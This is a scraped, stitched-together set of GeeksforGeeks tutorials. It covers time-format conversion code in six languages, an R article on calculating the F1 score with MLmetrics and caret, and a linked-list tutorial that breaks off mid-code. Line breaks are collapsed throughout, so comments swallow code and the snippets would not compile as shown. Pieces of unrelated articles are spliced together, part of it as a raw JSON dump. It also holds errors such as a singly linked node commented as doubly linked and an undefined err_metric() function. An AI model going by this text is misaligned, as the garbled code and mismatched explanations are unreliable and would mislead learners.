Printing minutes and seconds for (int i = 2; i < 8; ++i) { cout << str[i]; } } // After time is printed // cout Meridien cout << " " << Meridien << '\n';} // Driver codeint main(){ // 24 hour format string str = "17:35:20"; convert12(str); return 0;} // Java program to convert time from 24 hour// to 12 hour format import java.util.*;// Convert Function which takes in// 24hour time and convert it to// 12 hour formatclass GFG{ static void convert12(String str){// Get Hours int h1 = (int)str.charAt(0) - '0'; int h2 = (int)str.charAt(1)- '0'; int hh = h1 * 10 + h2; // Finding out the Meridien of time // ie. AM or PM String Meridien; if (hh < 12) { Meridien = "AM"; } else Meridien = "PM"; hh %= 12; // Handle 00 and 12 case separately if (hh == 0) { System.out.print("12"); // Printing minutes and seconds for (int i = 2; i < 8; ++i) { System.out.print(str.charAt(i)); } } else { System.out.print(hh); // Printing minutes and seconds for (int i = 2; i < 8; ++i) { System.out.print(str.charAt(i)); } } // After time is printed // cout MeridienSystem.out.println(" "+Meridien);} //Driver codepublic static void main(String ar[]){ // 24 hour format String str = "17:35:20"; convert12(str); }} # Python program to convert time from 24 hour# to 12 hour format # Convert Function which takes in# 24hour time and convert it to# 12 hour formatdef convert12(str): # Get Hours h1 = ord(str[0]) - ord('0'); h2 = ord(str[1]) - ord('0'); hh = h1 * 10 + h2; # Finding out the Meridien of time # ie. AM or PM Meridien=""; if (hh < 12): Meridien = "AM"; else: Meridien = "PM"; hh %= 12; # Handle 00 and 12 case separately if (hh == 0): print("12", end = ""); # Printing minutes and seconds for i in range(2, 8): print(str[i], end = ""); else: print(hh,end=""); # Printing minutes and seconds for i in range(2, 8): print(str[i], end = ""); # After time is printed # cout Meridien print(" " + Meridien); # Driver codeif __name__ == '__main__': # 24 hour format str = "17:35:20"; convert12(str); # This code is contributed by 29AjayKumar // C# program to convert time from 24 hour// to 12 hour format using System;// Convert Function which takes in// 24hour time and convert it to// 12 hour formatclass GFG{ static void convert12(string str){// Get Hours int h1 = (int)str[0] - '0'; int h2 = (int)str[1]- '0'; int hh = h1 * 10 + h2; // Finding out the Meridien of time // ie. AM or PM string Meridien; if (hh < 12) { Meridien = "AM"; } else Meridien = "PM"; hh %= 12; // Handle 00 and 12 case separately if (hh == 0) { Console.Write("12"); // Printing minutes and seconds for (int i = 2; i < 8; ++i) { Console.Write(str[i]); } } else { Console.Write(hh); // Printing minutes and seconds for (int i = 2; i < 8; ++i) { Console.Write(str[i]); } } // After time is printed // cout MeridienConsole.WriteLine(" "+Meridien);} //Driver codepublic static void Main(){ // 24 hour format string str = "17:35:20"; convert12(str); }} <?php// PHP program to convert time// from 24 hour to 12 hour format // Convert Function which takes// in 24hour time and convert it// to 12 hour formatfunction convert12($str){ // Get Hours $h1 = $str[0] - '0'; $h2 = $str[1] - '0'; $hh = $h1 * 10 + $h2; // Finding out the Meridien // of time ie. AM or PM $Meridien; if ($hh < 12) { $Meridien = "AM"; } else $Meridien = "PM"; $hh %= 12; // Handle 00 and 12 // case separately if ($hh == 0) { echo "12"; // Printing minutes and seconds for ($i = 2; $i < 8; ++$i) { echo $str[$i]; } } else { echo $hh; // Printing minutes and seconds for ($i = 2; $i < 8; ++$i) { echo $str[$i]; } } // After time is printed // cout Meridien echo " " , $Meridien;} // Driver code // 24 hour format$str = "17:35:20"; convert12($str); // This code is contributed// by ajit?> <script>// javascript program to convert time from 24 hour// to 12 hour format // Convert Function which takes in// 24hour time and convert it to// 12 hour formatfunction convert12(str){ // Get Hours var h1 = Number(str[0] - '0'); var h2 = Number(str[1] - '0'); var hh = h1 * 10 + h2; // Finding out the Meridien of time // ie. AM or PM var Meridien; if (hh < 12) { Meridien = "AM"; } else Meridien = "PM"; hh %= 12; // Handle 00 and 12 case separately if (hh == 0) { document.write("12"); // Printing minutes and seconds for (var i = 2; i < 8; ++i) { document.write(str[i]); } } else { document.write(hh); // Printing minutes and seconds for (var i = 2; i < 8; ++i) { document.write(str[i]); } } // After time is printed // cout Meridien document.write(" "+Meridien);} // Driver code // 24 hour format var str = "17:35:20"; convert12(str); // This code is contributed by bunnyram19. </script> 5:35:20 PM SURENDRA_GANGWAR jit_t ukasp nidhi_biet 29AjayKumar bunnyram19 Constructive Algorithms date-time-program Technical Scripter 2018 C++ Programs Technical Scripter Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. C++ Program for QuickSort Shallow Copy and Deep Copy in C++ delete keyword in C++ Passing a function as a parameter in C++ cin in C++ CSV file management using C++ C Program to Swap two Numbers Program to implement Singly Linked List in C++ using class Const keyword in C++ Generics in C++
[ { "code": null, "e": 26109, "s": 26081, "text": "\n03 May, 2021" }, { "code": null, "e": 26552, "s": 26109, "text": "Given a time in a 24-hour clock (military time), convert it to 12-hour clock format.Note: Midnight is 00:00:00 on a 24-hour clock and 12:00:00 AM on a 12-hour clock. Noon is 12:00:00 on 24-hour clock and 12:00:00 PM on 12-hour clock.A string will be given of the format hh:mm:ss and output should be in the format hh:mm:ss AM or hh:mm:ss PM in 12hour clock. Here hh represents hour, mm represents minutes and ss represents seconds.Examples: " }, { "code": null, "e": 26628, "s": 26552, "text": "Input : 17:35:20\nOutput : 5:35:20 PM\n\nInput : 00:10:24\nOutput : 12:10:24 AM" }, { "code": null, "e": 27159, "s": 26630, "text": "The approach to solving this problem requires some observations. First that the minutes and seconds will be same in both the cases. The only change will be in the hours and according to that Meridien will be appended to the string.For hours, first convert it from string to int datatype, then take its modulo with 12 and that will be our hours in 12-hour format. Still, there will be a case when hour becomes 00 i.e (12 or 00 in 24-hour format) which we need to handle separately.Below is the implementation of above approach: " }, { "code": null, "e": 27163, "s": 27159, "text": "C++" }, { "code": null, "e": 27168, "s": 27163, "text": "Java" }, { "code": null, "e": 27176, "s": 27168, "text": "Python3" }, { "code": null, "e": 27179, "s": 27176, "text": "C#" }, { "code": null, "e": 27183, "s": 27179, "text": "PHP" }, { "code": null, "e": 27194, "s": 27183, "text": "Javascript" }, { "code": "// CPP program to convert time from 24 hour// to 12 hour format #include <bits/stdc++.h> using namespace std; // Convert Function which takes in// 24hour time and convert it to// 12 hour formatvoid convert12(string str){ // Get Hours int h1 = (int)str[0] - '0'; int h2 = (int)str[1] - '0'; int hh = h1 * 10 + h2; // Finding out the Meridien of time // ie. AM or PM string Meridien; if (hh < 12) { Meridien = \"AM\"; } else Meridien = \"PM\"; hh %= 12; // Handle 00 and 12 case separately if (hh == 0) { cout << \"12\"; // Printing minutes and seconds for (int i = 2; i < 8; ++i) { cout << str[i]; } } else { cout << hh; // Printing minutes and seconds for (int i = 2; i < 8; ++i) { cout << str[i]; } } // After time is printed // cout Meridien cout << \" \" << Meridien << '\\n';} // Driver codeint main(){ // 24 hour format string str = \"17:35:20\"; convert12(str); return 0;}", "e": 28231, "s": 27194, "text": null }, { "code": "// Java program to convert time from 24 hour// to 12 hour format import java.util.*;// Convert Function which takes in// 24hour time and convert it to// 12 hour formatclass GFG{ static void convert12(String str){// Get Hours int h1 = (int)str.charAt(0) - '0'; int h2 = (int)str.charAt(1)- '0'; int hh = h1 * 10 + h2; // Finding out the Meridien of time // ie. AM or PM String Meridien; if (hh < 12) { Meridien = \"AM\"; } else Meridien = \"PM\"; hh %= 12; // Handle 00 and 12 case separately if (hh == 0) { System.out.print(\"12\"); // Printing minutes and seconds for (int i = 2; i < 8; ++i) { System.out.print(str.charAt(i)); } } else { System.out.print(hh); // Printing minutes and seconds for (int i = 2; i < 8; ++i) { System.out.print(str.charAt(i)); } } // After time is printed // cout MeridienSystem.out.println(\" \"+Meridien);} //Driver codepublic static void main(String ar[]){ // 24 hour format String str = \"17:35:20\"; convert12(str); }}", "e": 29321, "s": 28231, "text": null }, { "code": "# Python program to convert time from 24 hour# to 12 hour format # Convert Function which takes in# 24hour time and convert it to# 12 hour formatdef convert12(str): # Get Hours h1 = ord(str[0]) - ord('0'); h2 = ord(str[1]) - ord('0'); hh = h1 * 10 + h2; # Finding out the Meridien of time # ie. AM or PM Meridien=\"\"; if (hh < 12): Meridien = \"AM\"; else: Meridien = \"PM\"; hh %= 12; # Handle 00 and 12 case separately if (hh == 0): print(\"12\", end = \"\"); # Printing minutes and seconds for i in range(2, 8): print(str[i], end = \"\"); else: print(hh,end=\"\"); # Printing minutes and seconds for i in range(2, 8): print(str[i], end = \"\"); # After time is printed # cout Meridien print(\" \" + Meridien); # Driver codeif __name__ == '__main__': # 24 hour format str = \"17:35:20\"; convert12(str); # This code is contributed by 29AjayKumar", "e": 30303, "s": 29321, "text": null }, { "code": "// C# program to convert time from 24 hour// to 12 hour format using System;// Convert Function which takes in// 24hour time and convert it to// 12 hour formatclass GFG{ static void convert12(string str){// Get Hours int h1 = (int)str[0] - '0'; int h2 = (int)str[1]- '0'; int hh = h1 * 10 + h2; // Finding out the Meridien of time // ie. AM or PM string Meridien; if (hh < 12) { Meridien = \"AM\"; } else Meridien = \"PM\"; hh %= 12; // Handle 00 and 12 case separately if (hh == 0) { Console.Write(\"12\"); // Printing minutes and seconds for (int i = 2; i < 8; ++i) { Console.Write(str[i]); } } else { Console.Write(hh); // Printing minutes and seconds for (int i = 2; i < 8; ++i) { Console.Write(str[i]); } } // After time is printed // cout MeridienConsole.WriteLine(\" \"+Meridien);} //Driver codepublic static void Main(){ // 24 hour format string str = \"17:35:20\"; convert12(str); }}", "e": 31344, "s": 30303, "text": null }, { "code": "<?php// PHP program to convert time// from 24 hour to 12 hour format // Convert Function which takes// in 24hour time and convert it// to 12 hour formatfunction convert12($str){ // Get Hours $h1 = $str[0] - '0'; $h2 = $str[1] - '0'; $hh = $h1 * 10 + $h2; // Finding out the Meridien // of time ie. AM or PM $Meridien; if ($hh < 12) { $Meridien = \"AM\"; } else $Meridien = \"PM\"; $hh %= 12; // Handle 00 and 12 // case separately if ($hh == 0) { echo \"12\"; // Printing minutes and seconds for ($i = 2; $i < 8; ++$i) { echo $str[$i]; } } else { echo $hh; // Printing minutes and seconds for ($i = 2; $i < 8; ++$i) { echo $str[$i]; } } // After time is printed // cout Meridien echo \" \" , $Meridien;} // Driver code // 24 hour format$str = \"17:35:20\"; convert12($str); // This code is contributed// by ajit?>", "e": 32338, "s": 31344, "text": null }, { "code": "<script>// javascript program to convert time from 24 hour// to 12 hour format // Convert Function which takes in// 24hour time and convert it to// 12 hour formatfunction convert12(str){ // Get Hours var h1 = Number(str[0] - '0'); var h2 = Number(str[1] - '0'); var hh = h1 * 10 + h2; // Finding out the Meridien of time // ie. AM or PM var Meridien; if (hh < 12) { Meridien = \"AM\"; } else Meridien = \"PM\"; hh %= 12; // Handle 00 and 12 case separately if (hh == 0) { document.write(\"12\"); // Printing minutes and seconds for (var i = 2; i < 8; ++i) { document.write(str[i]); } } else { document.write(hh); // Printing minutes and seconds for (var i = 2; i < 8; ++i) { document.write(str[i]); } } // After time is printed // cout Meridien document.write(\" \"+Meridien);} // Driver code // 24 hour format var str = \"17:35:20\"; convert12(str); // This code is contributed by bunnyram19. </script>", "e": 33432, "s": 32338, "text": null }, { "code": null, "e": 33443, "s": 33432, "text": "5:35:20 PM" }, { "code": null, "e": 33462, "s": 33445, "text": "SURENDRA_GANGWAR" }, { "code": null, "e": 33468, "s": 33462, "text": "jit_t" }, { "code": null, "e": 33474, "s": 33468, "text": "ukasp" }, { "code": null, "e": 33485, "s": 33474, "text": "nidhi_biet" }, { "code": null, "e": 33497, "s": 33485, "text": "29AjayKumar" }, { "code": null, "e": 33508, "s": 33497, "text": "bunnyram19" }, { "code": null, "e": 33532, "s": 33508, "text": "Constructive Algorithms" }, { "code": null, "e": 33550, "s": 33532, "text": "date-time-program" }, { "code": null, "e": 33574, "s": 33550, "text": "Technical Scripter 2018" }, { "code": null, "e": 33587, "s": 33574, "text": "C++ Programs" }, { "code": null, "e": 33606, "s": 33587, "text": "Technical Scripter" }, { "code": null, "e": 33704, "s": 33606, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 33730, "s": 33704, "text": "C++ Program for QuickSort" }, { "code": null, "e": 33764, "s": 33730, "text": "Shallow Copy and Deep Copy in C++" }, { "code": null, "e": 33786, "s": 33764, "text": "delete keyword in C++" }, { "code": null, "e": 33827, "s": 33786, "text": "Passing a function as a parameter in C++" }, { "code": null, "e": 33838, "s": 33827, "text": "cin in C++" }, { "code": null, "e": 33868, "s": 33838, "text": "CSV file management using C++" }, { "code": null, "e": 33898, "s": 33868, "text": "C Program to Swap two Numbers" }, { "code": null, "e": 33957, "s": 33898, "text": "Program to implement Singly Linked List in C++ using class" }, { "code": null, "e": 33978, "s": 33957, "text": "Const keyword in C++" } ]
How to Calculate F1 Score in R? - GeeksforGeeks
19 Dec, 2021 In this article, we will be looking at the approach to calculate F1 Score using the various packages and their various functionalities in the R language. The F-score or F-measure is a measure of a test’s accuracy. It is calculated from the precision and recall of the test, where the precision is the number of true positive results divided by the number of all positive results, including those not identified correctly, and the recall is the number of true positive results divided by the number of all samples that should have been identified as positive. Under this approach to calculate the f1 score, the user needs to install and import the Mlmetrics package in the current working R console and further, the user needs to call the F1_Score() function from this package and pass it with the required parameter to get the F1 score of the predicted and the actual value and further in return this function will be returning the F1 score of the given actual and the predicted values. Syntax to install and import the Mlmetrics package in R language: install.package("MLmetrics") library("MLmetrics") F1_Score() function: This function is used to calculate the F1 score. Syntax: F1_Score(y_true, y_pred, positive = NULL) Parameters: y_true: Ground truth (correct) 0-1 labels vector y_pred: Predicted labels vector, as returned by a classifier positive: An optional character string for the factor level that corresponds to a “positive” result Example: In this example, we are creating two vectors of 10 data points one with the actual values and another with the predicted values and with the help of the F1_Score() function from the MLmetrics package we are calculating the f1 score in the R programming. R # Import Mlmetrics librarylibrary(MLmetrics) # Create Dataactual = c(1,2,28,1,5,6,7,8,9,10)predicted = c(1,2,3,4,5,6,7,8,9,10) # Calculate F!_ScoreF1_Score(predicted,actual) Output: [1] 0.6666667 In this approach to calculate the F1 score, the user needs to first install and import the caret package in the working R console, and then further the user needs to call the confusionMatrix() function and pass the required parameter into it. This will be returning the F1 score back to the user of the given data in the R language. Syntax to install and import the caret package in R language: install.package("caret") library("caret") confusionMatrix() function: Calculates a cross-tabulation of observed and predicted classes with associated statistics. Syntax: confusionMatrix(data, reference, positive = NULL, dnn = c(“Prediction”, “Reference”), ...) Parameters: data: a factor of predicted classes reference: a factor of classes to be used as the true results positive: an optional character string for the factor level that corresponds to a “positive” result (if that makes sense for your data). dnn: a character vector of dimnames for the table ...: options to be passed. Example: In this example, we are two vectors, one with the actual data and another with the predicted data, and further, we are using the confusionMatrix() function to get the F1 score of the given data. R # Import caret librarylibrary(caret) # Create Dataactual <- factor(rep(c(1, 2), times=c(16, 24)))predicted <- factor(rep(c(1, 2, 1, 2), times=c(12, 4, 7, 17))) # create confusion matrix confusionMatrix(predicted, actual, mode = "everything", positive="1") Output: Confusion Matrix and Statistics Reference Prediction 1 2 1 12 7 2 4 17 Accuracy : 0.725 95% CI : (0.5611, 0.854) No Information Rate : 0.6 P-Value [Acc > NIR] : 0.07095 Kappa : 0.4444 Mcnemar's Test P-Value : 0.54649 Sensitivity : 0.7500 Specificity : 0.7083 Pos Pred Value : 0.6316 Neg Pred Value : 0.8095 Precision : 0.6316 Recall : 0.7500 F1 : 0.6857 Prevalence : 0.4000 Detection Rate : 0.3000 Detection Prevalence : 0.4750 Balanced Accuracy : 0.7292 'Positive' Class : 1 In this method to calculate the F1 score of the model, the user needs to first create the model regarding the given data then the user needs to calculate the confusion matric of that model, further the err_metric() function with the confusion matrix pass as its parameter to the f1 score of the built model in the R programming language. Syntax: err_metric(cm) Where, cm: confusion matrix Example: In this example, we will be simply creating a model of logistic regression of the given data set and then using the err_metrics() function to calculate the f1 score in the R programming language. The link of the dataset. R library(caTools)data = read.csv('Social_Network_Ads.csv')data = data[3:5]split = sample.split(data$Purchased, SplitRatio = 0.75)train = subset (data, split == TRUE)test = subset (data, split == FALSE)train[-3] = scale(train[-3])test[-3] = scale(test[-3])classifier = glm(formula = Purchased ~ ., family = binomial, data = train)prob_pred = predict (classifier, type = 'response', newdata = test[-3])y_pred = ifelse (prob_pred > 0.5, 1, 0)cm = table (test[, 3], y_pred > 0.5)err_metric(cm) Output: [1] "Precision value of the model: 0.72" [1] "Accuracy of the model: 0.77" [1] "Recall value of the model: 0.12" [1] "False Positive rate of the model: 0.12" [1] "False Negative rate of the model: 0.42" [1] "f1 score of the model: 0.21" Picked R Language Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Change Color of Bars in Barchart using ggplot2 in R Group by function in R using Dplyr How to Change Axis Scales in R Plots? How to Split Column Into Multiple Columns in R DataFrame? Replace Specific Characters in String in R How to filter R DataFrame by values in a column? How to import an Excel File into R ? Time Series Analysis in R R - if statement How to filter R dataframe by multiple conditions?
[ { "code": null, "e": 26487, "s": 26459, "text": "\n19 Dec, 2021" }, { "code": null, "e": 26641, "s": 26487, "text": "In this article, we will be looking at the approach to calculate F1 Score using the various packages and their various functionalities in the R language." }, { "code": null, "e": 27046, "s": 26641, "text": "The F-score or F-measure is a measure of a test’s accuracy. It is calculated from the precision and recall of the test, where the precision is the number of true positive results divided by the number of all positive results, including those not identified correctly, and the recall is the number of true positive results divided by the number of all samples that should have been identified as positive." }, { "code": null, "e": 27474, "s": 27046, "text": "Under this approach to calculate the f1 score, the user needs to install and import the Mlmetrics package in the current working R console and further, the user needs to call the F1_Score() function from this package and pass it with the required parameter to get the F1 score of the predicted and the actual value and further in return this function will be returning the F1 score of the given actual and the predicted values." }, { "code": null, "e": 27540, "s": 27474, "text": "Syntax to install and import the Mlmetrics package in R language:" }, { "code": null, "e": 27590, "s": 27540, "text": "install.package(\"MLmetrics\")\nlibrary(\"MLmetrics\")" }, { "code": null, "e": 27660, "s": 27590, "text": "F1_Score() function: This function is used to calculate the F1 score." }, { "code": null, "e": 27710, "s": 27660, "text": "Syntax: F1_Score(y_true, y_pred, positive = NULL)" }, { "code": null, "e": 27722, "s": 27710, "text": "Parameters:" }, { "code": null, "e": 27771, "s": 27722, "text": "y_true: Ground truth (correct) 0-1 labels vector" }, { "code": null, "e": 27832, "s": 27771, "text": "y_pred: Predicted labels vector, as returned by a classifier" }, { "code": null, "e": 27932, "s": 27832, "text": "positive: An optional character string for the factor level that corresponds to a “positive” result" }, { "code": null, "e": 28195, "s": 27932, "text": "Example: In this example, we are creating two vectors of 10 data points one with the actual values and another with the predicted values and with the help of the F1_Score() function from the MLmetrics package we are calculating the f1 score in the R programming." }, { "code": null, "e": 28197, "s": 28195, "text": "R" }, { "code": "# Import Mlmetrics librarylibrary(MLmetrics) # Create Dataactual = c(1,2,28,1,5,6,7,8,9,10)predicted = c(1,2,3,4,5,6,7,8,9,10) # Calculate F!_ScoreF1_Score(predicted,actual)", "e": 28373, "s": 28197, "text": null }, { "code": null, "e": 28381, "s": 28373, "text": "Output:" }, { "code": null, "e": 28395, "s": 28381, "text": "[1] 0.6666667" }, { "code": null, "e": 28728, "s": 28395, "text": "In this approach to calculate the F1 score, the user needs to first install and import the caret package in the working R console, and then further the user needs to call the confusionMatrix() function and pass the required parameter into it. This will be returning the F1 score back to the user of the given data in the R language." }, { "code": null, "e": 28790, "s": 28728, "text": "Syntax to install and import the caret package in R language:" }, { "code": null, "e": 28832, "s": 28790, "text": "install.package(\"caret\")\nlibrary(\"caret\")" }, { "code": null, "e": 28952, "s": 28832, "text": "confusionMatrix() function: Calculates a cross-tabulation of observed and predicted classes with associated statistics." }, { "code": null, "e": 29051, "s": 28952, "text": "Syntax: confusionMatrix(data, reference, positive = NULL, dnn = c(“Prediction”, “Reference”), ...)" }, { "code": null, "e": 29063, "s": 29051, "text": "Parameters:" }, { "code": null, "e": 29099, "s": 29063, "text": "data: a factor of predicted classes" }, { "code": null, "e": 29161, "s": 29099, "text": "reference: a factor of classes to be used as the true results" }, { "code": null, "e": 29298, "s": 29161, "text": "positive: an optional character string for the factor level that corresponds to a “positive” result (if that makes sense for your data)." }, { "code": null, "e": 29348, "s": 29298, "text": "dnn: a character vector of dimnames for the table" }, { "code": null, "e": 29375, "s": 29348, "text": "...: options to be passed." }, { "code": null, "e": 29579, "s": 29375, "text": "Example: In this example, we are two vectors, one with the actual data and another with the predicted data, and further, we are using the confusionMatrix() function to get the F1 score of the given data." }, { "code": null, "e": 29581, "s": 29579, "text": "R" }, { "code": "# Import caret librarylibrary(caret) # Create Dataactual <- factor(rep(c(1, 2), times=c(16, 24)))predicted <- factor(rep(c(1, 2, 1, 2), times=c(12, 4, 7, 17))) # create confusion matrix confusionMatrix(predicted, actual, mode = \"everything\", positive=\"1\")", "e": 29912, "s": 29581, "text": null }, { "code": null, "e": 29920, "s": 29912, "text": "Output:" }, { "code": null, "e": 30977, "s": 29920, "text": "Confusion Matrix and Statistics\n\n Reference\nPrediction 1 2\n 1 12 7\n 2 4 17\n \n Accuracy : 0.725 \n 95% CI : (0.5611, 0.854)\n No Information Rate : 0.6 \n P-Value [Acc > NIR] : 0.07095 \n \n Kappa : 0.4444 \n \n Mcnemar's Test P-Value : 0.54649 \n \n Sensitivity : 0.7500 \n Specificity : 0.7083 \n Pos Pred Value : 0.6316 \n Neg Pred Value : 0.8095 \n Precision : 0.6316 \n Recall : 0.7500 \n F1 : 0.6857 \n Prevalence : 0.4000 \n Detection Rate : 0.3000 \n Detection Prevalence : 0.4750 \n Balanced Accuracy : 0.7292 \n \n 'Positive' Class : 1 " }, { "code": null, "e": 31315, "s": 30977, "text": "In this method to calculate the F1 score of the model, the user needs to first create the model regarding the given data then the user needs to calculate the confusion matric of that model, further the err_metric() function with the confusion matrix pass as its parameter to the f1 score of the built model in the R programming language." }, { "code": null, "e": 31338, "s": 31315, "text": "Syntax: err_metric(cm)" }, { "code": null, "e": 31366, "s": 31338, "text": "Where, cm: confusion matrix" }, { "code": null, "e": 31571, "s": 31366, "text": "Example: In this example, we will be simply creating a model of logistic regression of the given data set and then using the err_metrics() function to calculate the f1 score in the R programming language." }, { "code": null, "e": 31596, "s": 31571, "text": "The link of the dataset." }, { "code": null, "e": 31598, "s": 31596, "text": "R" }, { "code": "library(caTools)data = read.csv('Social_Network_Ads.csv')data = data[3:5]split = sample.split(data$Purchased, SplitRatio = 0.75)train = subset (data, split == TRUE)test = subset (data, split == FALSE)train[-3] = scale(train[-3])test[-3] = scale(test[-3])classifier = glm(formula = Purchased ~ ., family = binomial, data = train)prob_pred = predict (classifier, type = 'response', newdata = test[-3])y_pred = ifelse (prob_pred > 0.5, 1, 0)cm = table (test[, 3], y_pred > 0.5)err_metric(cm)", "e": 32140, "s": 31598, "text": null }, { "code": null, "e": 32148, "s": 32140, "text": "Output:" }, { "code": null, "e": 32391, "s": 32148, "text": "[1] \"Precision value of the model: 0.72\"\n[1] \"Accuracy of the model: 0.77\"\n[1] \"Recall value of the model: 0.12\"\n[1] \"False Positive rate of the model: 0.12\"\n[1] \"False Negative rate of the model: 0.42\"\n[1] \"f1 score of the model: 0.21\"" }, { "code": null, "e": 32398, "s": 32391, "text": "Picked" }, { "code": null, "e": 32409, "s": 32398, "text": "R Language" }, { "code": null, "e": 32507, "s": 32409, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 32559, "s": 32507, "text": "Change Color of Bars in Barchart using ggplot2 in R" }, { "code": null, "e": 32594, "s": 32559, "text": "Group by function in R using Dplyr" }, { "code": null, "e": 32632, "s": 32594, "text": "How to Change Axis Scales in R Plots?" }, { "code": null, "e": 32690, "s": 32632, "text": "How to Split Column Into Multiple Columns in R DataFrame?" }, { "code": null, "e": 32733, "s": 32690, "text": "Replace Specific Characters in String in R" }, { "code": null, "e": 32782, "s": 32733, "text": "How to filter R DataFrame by values in a column?" }, { "code": null, "e": 32819, "s": 32782, "text": "How to import an Excel File into R ?" }, { "code": null, "e": 32845, "s": 32819, "text": "Time Series Analysis in R" }, { "code": null, "e": 32862, "s": 32845, "text": "R - if statement" } ]
Types of Linked List - GeeksforGeeks
28 Mar, 2022 A linked list is a linear data structure, in which the elements are not stored at contiguous memory locations. The elements in a linked list are linked using pointers. In simple words, a linked list consists of nodes where each node contains a data field and a reference(link) to the next node in the list. Singly Linked List: It is the simplest type of linked list in which every node contains some data and a pointer to the next node of the same data type. The node contains a pointer to the next node means that the node stores the address of the next node in the sequence. A single linked list allows traversal of data only in one way. Below is the image for the same: Structure of Singly Linked List: C++ Java Python3 C# Javascript // Node of a doubly linked listclass Node {public: int data; // Pointer to next node in LL Node* next;}; // Node of a doubly linked liststatic class Node{ int data; // Pointer to next node in LL Node next;}; //this code is contributed by shivani # structure of Nodeclass Node: def __init__(self, data): self.data = data self.next = None // Structure of Nodepublic class Node{ public int data; // Pointer to next node in LL public Node next;}; //this code is contributed by shivanisinghss2110 // Node of a doubly linked listclass Node{ constructor() { this.data=0; // Pointer to next node this.next=null; }} // This code is contributed by SHUBHAMSINGH10 Creation and Traversal of Singly Linked List: C++ Java C# Python3 Javascript // C++ program to illustrate creation// and traversal of Singly Linked List #include <bits/stdc++.h>using namespace std; // Structure of Nodeclass Node {public: int data; Node* next;}; // Function to print the content of// linked list starting from the// given nodevoid printList(Node* n){ // Iterate till n reaches NULL while (n != NULL) { // Print the data cout << n->data << " "; n = n->next; }} // Driver Codeint main(){ Node* head = NULL; Node* second = NULL; Node* third = NULL; // Allocate 3 nodes in the heap head = new Node(); second = new Node(); third = new Node(); // Assign data in first node head->data = 1; // Link first node with second head->next = second; // Assign data to second node second->data = 2; second->next = third; // Assign data to third node third->data = 3; third->next = NULL; printList(head); return 0;} // Java program to illustrate// creation and traversal of// Singly Linked Listclass GFG{ // Structure of Nodestatic class Node{ int data; Node next;}; // Function to print the content of// linked list starting from the// given nodestatic void printList(Node n){ // Iterate till n reaches null while (n != null) { // Print the data System.out.print(n.data + " "); n = n.next; }} // Driver Codepublic static void main(String[] args){ Node head = null; Node second = null; Node third = null; // Allocate 3 nodes in // the heap head = new Node(); second = new Node(); third = new Node(); // Assign data in first // node head.data = 1; // Link first node with // second head.next = second; // Assign data to second // node second.data = 2; second.next = third; // Assign data to third // node third.data = 3; third.next = null; printList(head);}} // This code is contributed by Princi Singh // C# program to illustrate// creation and traversal of// Singly Linked Listusing System; class GFG{ // Structure of Nodepublic class Node{ public int data; public Node next;}; // Function to print the content of// linked list starting from the// given nodestatic void printList(Node n){ // Iterate till n reaches null while (n != null) { // Print the data Console.Write(n.data + " "); n = n.next; }} // Driver Codepublic static void Main(String[] args){ Node head = null; Node second = null; Node third = null; // Allocate 3 nodes in // the heap head = new Node(); second = new Node(); third = new Node(); // Assign data in first // node head.data = 1; // Link first node with // second head.next = second; // Assign data to second // node second.data = 2; second.next = third; // Assign data to third // node third.data = 3; third.next = null; printList(head);}} // This code is contributed by Amit Katiyar # structure of Nodeclass Node: def __init__(self, data): self.data = data self.next = None class LinkedList: def __init__(self): self.head = None self.last_node = None # function to add elements to linked list def append(self, data): # if linked list is empty then last_node will be none so in if condition head will be created if self.last_node is None: self.head = Node(data) self.last_node = self.head # adding node to the tail of linked list else: self.last_node.next = Node(data) self.last_node = self.last_node.next # function to print the content of linked list def display(self): current = self.head # traversing the linked list while current is not None: # at each node printing its data print(current.data, end=' ') # giving current next node current = current.next print() if __name__ == '__main__': L = LinkedList() # adding elements to the linked list L.append(1) L.append(2) L.append(3) L.append(4) # displaying elements of linked list L.display() <script> // JavaScript program to illustrate// creation and traversal of// Singly Linked List // Structure of Nodeclass Node{ constructor() { this.data=0; this.next=null; }} // Function to print the content of// linked list starting from the// given nodefunction printList(n){ // Iterate till n reaches null while (n != null) { // Print the data document.write(n.data + " "); n = n.next; }} // Driver Codelet head = null;let second = null;let third = null; // Allocate 3 nodes in// the heaphead = new Node();second = new Node();third = new Node(); // Assign data in first// nodehead.data = 1; // Link first node with// secondhead.next = second; // Assign data to second// nodesecond.data = 2;second.next = third; // Assign data to third// nodethird.data = 3;third.next = null; printList(head); // This code is contributed by unknown2108 </script> 1 2 3 Doubly Linked List: A doubly linked list or a two-way linked list is a more complex type of linked list which contains a pointer to the next as well as the previous node in sequence, Therefore, it contains three parts are data, a pointer to the next node, and a pointer to the previous node. This would enable us to traverse the list in the backward direction as well. Below is the image for the same: Structure of Doubly Linked List: C++ Java Python3 C# // Node of a doubly linked liststruct Node { int data; // Pointer to next node in DLL struct Node* next; // Pointer to the previous node in DLL struct Node* prev;}; // Doubly linked list// nodestatic class Node{ int data; // Pointer to next node in DLL Node next; // Pointer to the previous node in DLL Node prev;}; // This code is contributed by shivani # structure of Nodeclass Node: def __init__(self, data): self.previous = None self.data = data self.next = None // Doubly linked list// nodepublic class Node{ public int data; // Pointer to next node in DLL public Node next; // Pointer to the previous node in DLL public Node prev;}; // This code is contributed by shivanisinghss2110 Creation and Traversal of Doubly Linked List: C++ Java Python3 C# // C++ program to illustrate creation// and traversal of Doubly Linked List#include <bits/stdc++.h>using namespace std; // Doubly linked list nodeclass Node {public: int data; Node* next; Node* prev;}; // Function to push a new element in// the Doubly Linked Listvoid push(Node** head_ref, int new_data){ // Allocate node Node* new_node = new Node(); // Put in the data new_node->data = new_data; // Make next of new node as // head and previous as NULL new_node->next = (*head_ref); new_node->prev = NULL; // Change prev of head node to // the new node if ((*head_ref) != NULL) (*head_ref)->prev = new_node; // Move the head to point to // the new node (*head_ref) = new_node;} // Function to traverse the Doubly LL// in the forward & backward directionvoid printList(Node* node){ Node* last; cout << "\nTraversal in forward" << " direction \n"; while (node != NULL) { // Print the data cout << " " << node->data << " "; last = node; node = node->next; } cout << "\nTraversal in reverse" << " direction \n"; while (last != NULL) { // Print the data cout << " " << last->data << " "; last = last->prev; }} // Driver Codeint main(){ // Start with the empty list Node* head = NULL; // Insert 6. // So linked list becomes 6->NULL push(&head, 6); // Insert 7 at the 